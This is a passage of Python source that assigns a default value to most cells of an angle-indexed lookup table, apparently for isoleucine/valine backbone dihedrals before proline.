IleVal_xpro[(-80, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-80, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-70, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-60, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-50, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-40, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-30, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-20, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(-10, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(0, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(10, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(20, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(30, 170)]=IleVal_xpro[(-180, -180)]
